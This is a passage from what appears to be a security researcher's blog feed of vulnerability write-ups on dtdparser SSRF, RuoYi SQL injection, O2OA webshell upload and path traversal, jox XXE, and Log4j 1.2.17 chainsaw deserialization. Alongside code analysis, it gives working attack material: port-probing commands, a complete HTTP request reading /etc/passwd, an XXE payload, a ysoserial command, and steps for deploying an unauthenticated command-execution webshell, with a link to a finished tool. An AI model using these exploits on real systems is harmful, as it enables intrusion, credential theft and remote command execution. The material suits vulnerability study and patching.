    <content type="html"><![CDATA[<p>dtdparser is a component that parses DTD documents. The component does not correctly process the incoming parameters, resulting in ssrf vulnerabilities.</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">com\wutka\dtdparser\1.21\dtdparser-1.21.jar!\com\wutka\dtd\Tokenize.class<br></code></pre></div></td></tr></table></figure><p>In the main method of the jar package, determine which method to process the parameters by judging whether it contains ://<br><img src="/images/69/1.png"><br>When the parameter is http://, it will enter the DTDParser method that receives the URL object type parameter. After the parameter (that is, url) is passed in, the openStream method of the URL object will be used to open the request. There is no other verification before that. In order to cause the vulnerability, when the attacker passes parameters containing sensitive resources to it, this method will directly initiate a request for the resource through its own server<br><img src="/images/69/2.png"><br>When the parameter is other, it will enter the DTDParser method that receives the File object type parameter, and then use the FileReader object to read the parameter content one by one<br><img src="/images/69/3.png"></p><h1 id="verify"><a href="#verify" class="headerlink" title="verify"></a>verify</h1><p>See the startup class as Tokenize through the MANIFEST.MF file<br>Through the entry method, the parameter can be directly followed.<br>Such as probing port service<br>java -jar dtdparser-1.21.jar <a href="http://127.0.0.1:9000/">http://127.0.0.1:9000</a><br>There will be response data when there is a service on the port<br><img src="/images/69/4.png"><br>Because there is an analysis of the target dtd content in the main method, if it is not in the dtd format, an error will be reported (the parameter does not meet the conditions of \com\wutka\dtd\Scanner.class, and the method of the File object type handles the newline character of the parameter Because the condition of Scanner is not met an error will be reported, so only the first line will be displayed when the file is read<br><img src="/images/69/5.png"><br>When the port is not open, it will prompt that the connection is refused:<br><img src="/images/69/6.png"><br>When the port exists but there is no service, it will prompt the connection reset:<br><img src="/images/69/7.png"></p><p>In practical applications, the main trigger point is the DTDParser class, in which methods of various object types are provided, such as Reader object type, URL object type, File object type<br><img src="/images/69/8.png"></p><p>The web scene is written like this:<br>Reference dependency</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;dependency&gt;<br>         &lt;groupId&gt;com.wutka&lt;/groupId&gt;<br>         &lt;artifactId&gt;dtdparser&lt;/artifactId&gt;<br>         &lt;version&gt;1.21&lt;/version&gt;<br>     &lt;/dependency&gt;<br></code></pre></div></td></tr></table></figure><p>In order to be more intuitive, a display is specially added</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><br><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">wuDtD</span><span class="hljs-params">(HttpServletRequest request, HttpServletResponse response)</span> <span class="hljs-keyword">throws</span> IOException </span>&#123;<br>       String result = <span class="hljs-keyword">null</span>;<br>       DTDParser parser = <span class="hljs-keyword">null</span>;<br>       <span class="hljs-keyword">try</span>&#123;<br>       String u = request.getParameter(<span class="hljs-string">&quot;url&quot;</span>);<br>       <span class="hljs-keyword">if</span> (u.indexOf(<span class="hljs-string">&quot;://&quot;</span>) &gt; <span class="hljs-number">0</span>) &#123;<br>           parser = <span class="hljs-keyword">new</span> DTDParser(<span class="hljs-keyword">new</span> URL(u), <span class="hljs-keyword">true</span>);<br>       &#125; <span class="hljs-keyword">else</span> &#123;<br>           parser = <span class="hljs-keyword">new</span> DTDParser(<span class="hljs-keyword">new</span> File(u), <span class="hljs-keyword">true</span>);<br>       &#125;<br>       DTD d = parser.parse(<span class="hljs-keyword">true</span>);<br>       <span class="hljs-keyword">if</span> (d != <span class="hljs-keyword">null</span>) &#123;<br>           <span class="hljs-keyword">if</span> (d.rootElement != <span class="hljs-keyword">null</span>) &#123;<br>               result = d.rootElement.getName();<br><br>           &#125;<br>       &#125;<br>       ServletOutputStream outputStream = response.getOutputStream();<br>       outputStream.write(result.toString().getBytes());<br>       outputStream.flush();<br>       outputStream.close();<br>   &#125; <span class="hljs-keyword">catch</span> (IOException e) &#123;<br>           ServletOutputStream outputStream = response.getOutputStream();<br>           outputStream.write(e.toString().getBytes());<br>           outputStream.flush();<br>           outputStream.close();<br>           logger.error(e);<br>       &#125;<br>   &#125;<br></code></pre></div></td></tr></table></figure><p><img src="/images/69/10.png"></p><h1 id="Bug-fix"><a href="#Bug-fix" class="headerlink" title="Bug fix"></a>Bug fix</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">if</span> (u.indexOf(<span class="hljs-string">&quot;://&quot;</span>) &gt; <span class="hljs-number">0</span>) &#123;<br>           <span class="hljs-keyword">if</span>(Notip.ipIsInner(u)||!u.contains(<span class="hljs-string">&quot;.dtd&quot;</span>))&#123;<span class="hljs-comment">//or endsWith</span><br>               ServletOutputStream outputStream = response.getOutputStream();<br>               outputStream.write(<span class="hljs-string">&quot;error&quot;</span>.toString().getBytes());<br>               outputStream.flush();<br>               outputStream.close();<br>           &#125;<span class="hljs-keyword">else</span> &#123;<br></code></pre></div></td></tr></table></figure><p><img src="/images/69/11.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>若依对sql注入的修复</title>
    <link href="/2021/12/21/68/"/>
    <url>/2021/12/21/68/</url>
    
    <content type="html"><![CDATA[<p>在看了几个若依的注入后发现其最新版还是会存在<code>$&#123;params.dataScope&#125;</code>，那这个参数是从哪来的呢，<code>$&#123;params.dataScope&#125;</code>的意思就是入参参数的dataScope属性,即 SysDept对象的dataScope属性，可能有点懵逼，随便找个有注入的点跟下去就知道，拿</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">src/main/java/com/ruoyi/web/controller/system/SysRoleController.java<br></code></pre></div></td></tr></table></figure><p>来说，在该层中有两处存在注入，拿其中的<code>unallocatedList</code>方法为例<br><img src="/images/68/1.png"><br>传入<code>selectUnallocatedList</code>方法查询，参数参考SysUser<br><img src="/images/68/2.png"><br>这个时候还没有dataScope，跟进<code>selectUnallocatedList</code>方法<br><img src="/images/68/3.png"><br>查看实现类对<code>selectUnallocatedList</code>方法的实现<br><img src="/images/68/4.png"><br>在方法的前面有一个注解<code>@DataScope(deptAlias = “d” )</code>，该注解为应用自定义，会根据权限来分配赋值，也就是在这里开始有了<code>params[dataScope]</code>，即<code>$&#123;params.dataScope&#125;</code><br><img src="/images/68/5.png"><br>其实现为<code>DataScopeAspect</code>类<br><img src="/images/68/6.png"><br>在该类的<code>dataScopeFilter</code>方法中有对dataScope参数做拼接的操作<br><img src="/images/68/7.png"><br>若依对<code>$&#123;params.dataScope&#125;</code>的修复比较逗，因为如果使用<code>#&#123;params.dataScope&#125;</code>的话是使用不了的，所以他们在对<code>DATA_SCOPE</code>做拼接查询之前直接把<code>$&#123;params.dataScope&#125;</code>的参数清空<br><img src="/images/68/8.png"><br><code>clearDataScope</code>方法<br><img src="/images/68/9.png"></p><p>这应该是无解了吧</p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>o2oa 6.3.4后台getshell</title>
    <link href="/2021/11/30/67/"/>
    <url>/2021/11/30/67/</url>
    
    <content type="html"><![CDATA[<p>O2OA不依赖tomcat，采用自己的console.jar方式启动，因为不支持自定义jsp所以无法使用上传jsp来getshell。但是在后台中有一个上传jar/war包的功能，可以通过上传自定义jar/war包来部署自己服务，这篇笔记就记录一下通过部署war来getshell</p><h1 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h1><p>按照官方文档，部署的war包要以o2的框架来开发编译：<br><a href="https://www.yuque.com/o2oa/course/tuef8c" title="搭建自定义工程及开发">自定义服务-搭建自定义工程及开发</a></p><p>工程模板：（文末有成品）<br><a href="https://git.o2oa.net/o2oa/o2custom-sample/-/archive/master/o2custom-sample-master.zip">https://git.o2oa.net/o2oa/o2custom-sample/-/archive/master/o2custom-sample-master.zip</a></p><p>首先跟着提示修改基本信息，然后改<code>SampleEntityClassNameAction</code>类的代码</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">/x_ahtest_assemble_control/src/main/java/com/x/ahtest/assemble/control/jaxrs/sample/SampleEntityClassNameAction.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/67/2.png"><br>还要注意一下改filter，不然这个shell以后还得管理员登录才能访问：<br><code>AnonymousJaxrsServicePathFilter</code>类是定义可以在不登录的情况下访问请求，加上mapping<br><img src="/images/67/3.png"><br>修改打包完成后上传war包<br><img src="/images/67/1.png"><br>重启服务<br><img src="/images/67/4.png"></p><p>可以通过接口查看有没有部署成功</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">/x_program_center/jest/list.html<br></code></pre></div></td></tr></table></figure><p><img src="/images/67/6.png"></p><p>然后访问服务就可以执行命令了<br><img src="/images/67/5.png"></p><p>路由一般为</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">/模块名/jaxrs/sample/<br></code></pre></div></td></tr></table></figure><p>成品放github上了<br><a href="https://github.com/novysodope/O2OA-getshell">https://github.com/novysodope/O2OA-getshell</a></p><p>这个只是一个验证，具体shell实现还是要自己改一下，在SampleEntityClassNameAction类：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">/x_ahtest_assemble_control/src/main/java/com/x/ahtest/assemble/control/jaxrs/sample/SampleEntityClassNameAction.java<br></code></pre></div></td></tr></table></figure><p>可以改成内存马什么的</p><p>如果只是改类其他地方没改的话部署后的路由为<br><a href="http://localhost/x_ahtest_assemble_control/jaxrs/sample/cmd?cmd=calc">http://localhost/x_ahtest_assemble_control/jaxrs/sample/cmd?cmd=calc</a></p><h2 id="2021-11-30更新"><a href="#2021-11-30更新" class="headerlink" title="2021/11/30更新"></a>2021/11/30更新</h2><p>6.4.4也可以</p><h2 id="2021-12-01更新"><a href="#2021-12-01更新" class="headerlink" title="2021/12/01更新"></a>2021/12/01更新</h2><p>可以通过接口重启服务</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">/x_program_center/jaxrs/<span class="hljs-built_in">command</span>/execute <br><br><br><br>&#123;<span class="hljs-string">&quot;ctl&quot;</span>:<span class="hljs-string">&quot;命令&quot;</span>,<span class="hljs-string">&quot;nodeName&quot;</span>:<span class="hljs-string">&quot;target&quot;</span>,<span class="hljs-string">&quot;nodePort&quot;</span>:<span class="hljs-string">&quot;target&quot;</span>&#125;<br></code></pre></div></td></tr></table></figure><p>大概20秒左右就会重启成功</p>]]></content>
    
    
    <categories>
      
      <category>实战</category>
      
    </categories>
    
    
    <tags>
      
      <tag>渗透测试</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>o2oa的任意文件读取</title>
    <link href="/2021/11/01/65/"/>
    <url>/2021/11/01/65/</url>
    
    <content type="html"><![CDATA[<p>权当笔记</p><p>代码分析：<br>在<br>\src\main\java\com\x\xxx\xxx\jaxrs\config\ConfigAction.java的open方法中new了一个<code>ActionOpen</code>对象的<code>execute</code>方法来处理请求<br><img src="/images/65/1.png"><br>在该方法里<br>com/x/xxx/xxx/jaxrs/config/ActionOpen.java<br>先从参数filename处获取文件名<br><img src="/images/65/2.png"><br>文件名直接拼接到<code>config/</code>后面，然后使用<code>Config</code>的<code>base()</code>方法获取绝对路径，此处是漏洞产生的关键点<br><img src="/images/65/3.png"><br><img src="/images/65/4.png"><br>此时file的值为C:\web\config\filename</p><p>接下来判断file是否存在，如果存在就会用到工具类<code>FileUtils</code>的<code>readFileToString</code>方法直接读取文件<br><img src="/images/65/5.png"><br><img src="/images/65/6.png"><br>由于filename参数可控，所以可以利用<code>../</code>来跨目录访问文件</p><p>最后返回包含文件内容的结果<br><img src="/images/65/7.png"></p><p>漏洞验证：<br>根据路由构造路径</p><p><code>/xxx/jaxrs/config/open</code></p><p>根据代码<br><img src="/images/65/8.png"><br><img src="/images/65/9.png"><br>构造json格式的参数</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&#123;“filename”:”../../../../../../../../etc/passwd”&#125;<br></code></pre></div></td></tr></table></figure><p><img src="/images/65/10.png"></p><h2 id="2021-11-30更新："><a href="#2021-11-30更新：" class="headerlink" title="2021/11/30更新："></a>2021/11/30更新：</h2><p>6.4.4还是存在</p><p>可以直接请求</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">POST /x_program_center/jaxrs/config/open HTTP/1.1<br>Host: 127.0.0.1:20020<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0<br>Accept: text/html,application/json,*/*<br>Accept-Language: zh-CN<br>Accept-Encoding: gzip, deflate<br>X-Requested-With: XMLHttpRequest<br>Content-Type: application/json; charset=utf-8<br>Content-Length: 39<br>Connection: close<br>Cookie: x-token=PfyuxmzgIzpQnJNvn-oq_HwUDX-wFwWE50QnO7mEHhA<br><br>&#123;<span class="hljs-string">&quot;fileName&quot;</span>:<span class="hljs-string">&quot;../../../../etc/passwd&quot;</span>&#125;<br></code></pre></div></td></tr></table></figure><p>运气好的话说明账号密码是默认的，直接读取，也可以登录后台getshell，如果文件不存在会提示</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&#123;<br>  <span class="hljs-string">&quot;type&quot;</span>: <span class="hljs-string">&quot;success&quot;</span>,<br>  <span class="hljs-string">&quot;data&quot;</span>: &#123;<br>    <span class="hljs-string">&quot;time&quot;</span>: <span class="hljs-string">&quot;&quot;</span>,<br>    <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;success&quot;</span>,<br>    <span class="hljs-string">&quot;isSample&quot;</span>: <span class="hljs-literal">true</span><br>  &#125;,<br>  <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;&quot;</span>,<br>  <span class="hljs-string">&quot;date&quot;</span>: <span class="hljs-string">&quot;&quot;</span>,<br>  <span class="hljs-string">&quot;spent&quot;</span>: 0,<br>  <span class="hljs-string">&quot;size&quot;</span>: -1,<br>  <span class="hljs-string">&quot;count&quot;</span>: 0,<br>  <span class="hljs-string">&quot;position&quot;</span>: 0<br>&#125;<br></code></pre></div></td></tr></table></figure><p>需要登录的话提示的是过期重新登录</p>]]></content>
    
    
    <categories>
      
      <category>JAVA</category>
      
    </categories>
    
    
    <tags>
      
      <tag>任意文件读取</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>wutkajox XXE</title>
    <link href="/2021/10/29/64/"/>
    <url>/2021/10/29/64/</url>
    
    <content type="html"><![CDATA[<p>A component found during a code audit at the customer site.<br>The affected version is &lt;=1.16</p><p><a href="https://mvnrepository.com/artifact/com.wutka/jox/1.16">https://mvnrepository.com/artifact/com.wutka/jox/1.16</a></p><p>According to the official demo, the data will first be passed to the readObject method of JOXBeanInputStream:<br><img src="/images/64/1.png"><br>In the readObejct method of the object JOXBeanInputStream, the parameters will continue to be passed into the readObejct method of the JOXSAXBeanInput class for processing:<br><img src="/images/64/2.png"><br>Follow up with the JOXSAXBeanInput class:<br><img src="/images/64/3.png"><br>In the readObject method of this class, the parse method of SAXParser is called to directly parse the XML document. No other verification is performed, so that the malicious xml data can be used to trigger the vulnerability.</p><p>Vulnerability verification:<br>Reference dependencies in pom files:</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;dependency&gt;<br>      &lt;groupId&gt;com.wutka&lt;/groupId&gt;<br>      &lt;artifactId&gt;jox&lt;/artifactId&gt;<br>      &lt;version&gt;1.16&lt;/version&gt;<br>    &lt;/dependency&gt;<br></code></pre></div></td></tr></table></figure><p>Refer to the official to write a class that calls JOXBeanInputStream to parse xml:</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">import</span> java.io.ByteArrayInputStream;<br><span class="hljs-keyword">import</span> com.wutka.jox.JOXBeanInputStream;<br><span class="hljs-keyword">import</span> com.wutka.jox.JOXBeanOutputStream;<br><br><span class="hljs-keyword">import</span> java.io.ByteArrayOutputStream;<br><span class="hljs-keyword">import</span> java.io.IOException;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Author</span> novy</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Date</span> 2021/10/22 11:22</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Version</span> 1.0</span><br><span class="hljs-comment"> */</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BeanXMLMapping</span> </span>&#123;<br><br>        <span class="hljs-comment">/**</span><br><span class="hljs-comment">         *</span><br><span class="hljs-comment">         *</span><br><span class="hljs-comment">         Retrieves a bean object for the</span><br><span class="hljs-comment">         *</span><br><span class="hljs-comment">         *</span><br><span class="hljs-comment">         *</span><br><span class="hljs-comment">         * received XML and matching bean class</span><br><span class="hljs-comment">         */</span><br><br>        <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title">fromXML</span><span class="hljs-params">(String xml, Class className)</span> <span class="hljs-keyword">throws</span> IOException </span>&#123;<br><br>            ByteArrayInputStream xmlData = <span class="hljs-keyword">new</span> ByteArrayInputStream(xml.getBytes());<br><br>            JOXBeanInputStream joxIn = <span class="hljs-keyword">new</span> JOXBeanInputStream(xmlData);<br><br>            <span class="hljs-keyword">try</span> &#123;<br><br>                <span class="hljs-keyword">return</span> joxIn.readObject(className);<br><br>            &#125; <span class="hljs-keyword">catch</span> (IOException exc) &#123;<br><br>                exc.printStackTrace();<br><br>                <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;<br><br>            &#125; <span class="hljs-keyword">finally</span> &#123;<br><br>                <span class="hljs-keyword">try</span> &#123;<br><br>                    xmlData.close();<br><br>                    joxIn.close();<br><br>                &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br><br>                    e.printStackTrace();<br><br>                &#125;<br><br>            &#125;<br><br>        &#125;<br><br></code></pre></div></td></tr></table></figure><p>POC:</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-meta">@RequestMapping(&quot;/jox&quot;)</span><br>   <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">joxxml</span><span class="hljs-params">(<span class="hljs-meta">@RequestBody</span> String req, HttpServletResponse response)</span> <span class="hljs-keyword">throws</span> IOException </span>&#123;<br>       BeanXMLMapping aaa = <span class="hljs-keyword">new</span> BeanXMLMapping();<br>       aaa.fromXML(req,TestController.class);<span class="hljs-comment">//TestController.class is arbitrary class added to meet the conditions</span><br></code></pre></div></td></tr></table></figure><p>Finally, send the payload to trigger the vulnerability</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&lt;?xml version=<span class="hljs-string">&quot;1.0&quot;</span> encoding=<span class="hljs-string">&quot;utf-8&quot;</span>?&gt;<br>&lt;!DOCTYPE creds [<br>        &lt;!ELEMENT creds ANY &gt;<br>        &lt;!ENTITY xxe SYSTEM <span class="hljs-string">&quot;dnslog&quot;</span>&gt;<br>        ]&gt;<br>&lt;creds&gt;<br>    &amp;xxe;<br>&lt;/creds&gt;<br></code></pre></div></td></tr></table></figure><p><img src="/images/64/7.png"></p><p>Refer to:<br><a href="https://blog.csdn.net/lsh364797468/article/details/51325540" title="简单SAX解析详解全过程">简单SAX解析详解全过程</a></p>]]></content>
    
    
    <categories>
      
      <category>JAVA</category>
      
    </categories>
    
    
    <tags>
      
      <tag>XXE</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>Log4j1.2.17 RCE</title>
    <link href="/2021/10/28/63/"/>
    <url>/2021/10/28/63/</url>
    
    <content type="html"><![CDATA[<p>Vulnerability discovered in early 2020.</p><p>After reading CVE-2019-17571, I found that there is another vulnerability under chainsaw，there is a deserialization process for socket data in the LoggingReceiver class, and the lack of verification leads to the occurrence of vulnerabilities </p><p>Vulnerability analysis:<br>Set the listening port in the setupReceiver method on line 133 of src/main/java/org/apache/log4j/chainsaw/Main.java</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title">setupReceiver</span><span class="hljs-params">(MyTableModel aModel)</span> </span>&#123;<br>        <span class="hljs-keyword">int</span> port = <span class="hljs-number">4445</span>;<br>        String strRep = System.getProperty(<span class="hljs-string">&quot;chainsaw.port&quot;</span>);<br>        <span class="hljs-keyword">if</span> (strRep != <span class="hljs-keyword">null</span>) &#123;<br>            <span class="hljs-keyword">try</span> &#123;<br>                port = Integer.parseInt(strRep);<br>            &#125; <span class="hljs-keyword">catch</span> (NumberFormatException var6) &#123;<br>                LOG.fatal(<span class="hljs-string">&quot;Unable to parse chainsaw.port property with value &quot;</span>+ strRep + <span class="hljs-string">&quot;.&quot;</span>);<br>                JOptionPane.showMessageDialog(<span class="hljs-keyword">this</span>, <span class="hljs-string">&quot;Unable to parse port number from&#x27;&quot;</span> + strRep + <span class="hljs-string">&quot;&#x27;, quitting.&quot;</span>, <span class="hljs-string">&quot;CHAINSAW&quot;</span>, <span class="hljs-number">0</span>);<br>                System.exit(<span class="hljs-number">1</span>);<br>            &#125;<br>        &#125;<br><br></code></pre></div></td></tr></table></figure><p>Then go to the LoggingReceiver class to process related connection information:</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">try</span> &#123;<br>            LoggingReceiver lr = <span class="hljs-keyword">new</span> LoggingReceiver(aModel, port);<br>            lr.start();<br><br></code></pre></div></td></tr></table></figure><p>Follow up LoggingReceiver class,get the data in the run method, encapsulate the mClient data into the ObjectInputStream object, Deserializing the ois object triggers the vulnerability:<br>src/main/java/org/apache/log4j/chainsaw/LoggingReceiver.java</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><br><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">run</span><span class="hljs-params">()</span> </span>&#123;<br>            LoggingReceiver.LOG.debug(<span class="hljs-string">&quot;Starting to get data&quot;</span>);<br><br>            <span class="hljs-keyword">try</span> &#123;<br>                ObjectInputStream ois = <span class="hljs-keyword">new</span> ObjectInputStream(<span class="hljs-keyword">this</span>.mClient.getInputStream());<br><br>                <span class="hljs-keyword">while</span>(<span class="hljs-keyword">true</span>) &#123;<br>                    LoggingEvent event = (LoggingEvent)ois.readObject();<br>                    LoggingReceiver.<span class="hljs-keyword">this</span>.mModel.addEvent(<span class="hljs-keyword">new</span> EventDetails(event));<br>                &#125;<br><br></code></pre></div></td></tr></table></figure><p>Vulnerability verification:<br>Start the visualization component</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">java -cp log4j-1.2.17.jar org.apache.log4j.chainsaw.Main<br></code></pre></div></td></tr></table></figure><p>Sending the payload generated by ysoserial (<a href="https://github.com/angelwhu/ysoserial">https://github.com/angelwhu/ysoserial</a>) to port 4445 of the target can trigger the vulnerability.</p><p>eg, generate malicious data exp.ser first:</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">java -jar ysoserial.jar Jdk7u21 <span class="hljs-string">&quot;calc&quot;</span> &gt; exp.ser<br></code></pre></div></td></tr></table></figure><p>Write a python socket client after generating the data:</p><p>exp.py:</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></div></td><td class="code"><div 